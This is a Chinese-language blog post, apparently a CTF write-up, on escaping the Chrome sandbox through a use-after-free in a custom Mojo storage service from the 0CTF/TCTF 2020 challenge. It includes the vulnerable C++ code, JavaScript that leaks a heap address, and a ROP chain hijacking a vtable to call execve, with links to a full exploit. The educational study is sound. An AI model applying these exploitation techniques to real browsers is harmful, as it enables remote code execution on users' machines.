前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >初探Chrome沙箱逃逸

初探Chrome沙箱逃逸

作者头像
Gamma实验室
发布2020-12-23 11:43:22
2.8K0
发布2020-12-23 11:43:22
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

初探Chrome沙箱逃逸

1

Background

Chrome Security Architecture

众所周知沙箱是Chrome重要的安全机制,有沙箱就意味着v8、音视频解码等等渲染层的漏洞不能直接打到host上,所以我们想要pwn Chrome至少要两个漏洞,沙箱进程的rce和沙箱逃逸。

Chrome安全架构如下

Mojo

Mojo是Chrome新的IPC机制,从Mojo文档中可以看到,Mojo is a collection of runtime libraries providing a platform-agnostic abstraction of common IPC primitives, a message IDL format, and a bindings library with code generation for multiple target languages to facilitate convenient message passing across arbitrary inter- and intra-process boundaries. 目前来看无论是CTF还是Real World中,利用Mojo进行Chrome沙箱逃逸都很常见。

2

0CTF/TCTF2020 Quals ChromiumSBX

来看这个例子。这是0ctf/tctf 2020 quals的一道浏览器题,通过diff可以看到增加了一个新的mojo service,代码很好理解,是一个storage service。

漏洞点

通过审计可以发现如下问题:

void TStorageImpl::Init(InitCallback callback) {
    inner_db_ = std::make_unique<InnerDbImpl>();
    // Init will release the previous inner_db pointer
    std::move(callback).Run();
}

void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
    mojo::PendingRemote<blink::mojom::TInstance> instance;
    mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()),
                                instance.InitWithNewPipeAndPassReceiver());
    // so inner_db_.get() pointer obtained previously will be freed
    // which is UAF
    std::move(callback).Run(std::move(instance));
}

TStorageImpl::CreateInstance会使用inner_db_.get()将存储在inner_db_内部的指针传递到TInstanceImpl的构造函数中,新的TInstanceImpl实例会将指针存储到其字段中;但是观察TStorageImpl::Init是可以被多次调用的,每次调用它会把前一个对象释放,但前一个对象已经被TInstanceImpl存储,会造成UAF。

利用思路

1.堆喷占位

漏洞点是一个比较好触发的UAF,首先想到的是去占位,通过调试可以发现InnerDbImpl的大小是0x678,观察一下我们可以控制大小的对象,看到了base::queue<uint64_t> queue_,它是stl的容器,通过push和pop可以控制其大小,具体把大小调整到0x678的方法见成功2019的博客,写的很成功我不啰嗦了。

成功2019的博客:

https://mem2019.github.io/jekyll/update/2020/07/03/TCTF-Chromium-SBX.html

2.泄露堆地址

为了劫持虚表,我们需要泄露堆地址。我们可以用我们占位成功那个对象来泄露UAF对象的base::queue指针。

// tInsPtr here is the UAF object
const idx = (await tInsPtr.getInt()).value;
print(idx); // get which one is occupying the UAF object
for (let i = 0; i < 201; i++)
await tInsPtrSprays[idx].pop();
const heapAddr = (await tInsPtrSprays[idx].pop()).value;
// pop element to leak the address of heap
// now 0x678 is freed again due to poping elements
print(hex(heapAddr));

3.代码执行:

基本条件都有了,开始构造rop劫持虚表,参考Plaid CTF mojo题的exp:

await tInsPtr.push(libcAddr + 0x52bc8);  // pop rbp; pop rbx; ret;
await tInsPtr.push(0);           // let queue to have some element
await tInsPtr.push(textAddr + 0x3fa5114); // xchg rsp,rax, as virtual table
await tInsPtr.push(libcAddr + 0x2cb49);  // pop rbx; ret;
await tInsPtr.push(libcAddr + 0xe4e30);  // execve
await tInsPtr.push(libcAddr + 0x1b96);  // pop rdx; ret;
await tInsPtr.push(0);           // rdx = 0
await tInsPtr.push(libcAddr + 0xd1ba7);  // lea rdi, [rsp + 0xb0]; mov rsi, rbp; call rbx

完整exploit

成功2019的exp

https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/T20ChromeSBX.html

Conclusion

上述基本是一道mojo沙箱逃逸的典型例题,手法和思想都比较经典。解题基本参照2019的思路来的,Perfect Blue这里也有很详细的writeup。

Perfect Blue的博客

https://blog.perfect.blue/Chromium-Fullchain

另外关于Mojo还有一个很经典的漏洞是Issue 1062091,后续文章可能会分析。

除了Mojo,Android Binder的CVE-2020-0041,Windows内核的CVE-2020-0981等这种也可以被用来逃逸Chrome沙箱。

3

参考链接

https://theori.io/research/escaping-chrome-sandbox/

https://mem2019.github.io/jekyll/update/2020/07/03/TCTF-Chromium-SBX.html

https://gist.github.com/ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38

https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit

END

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档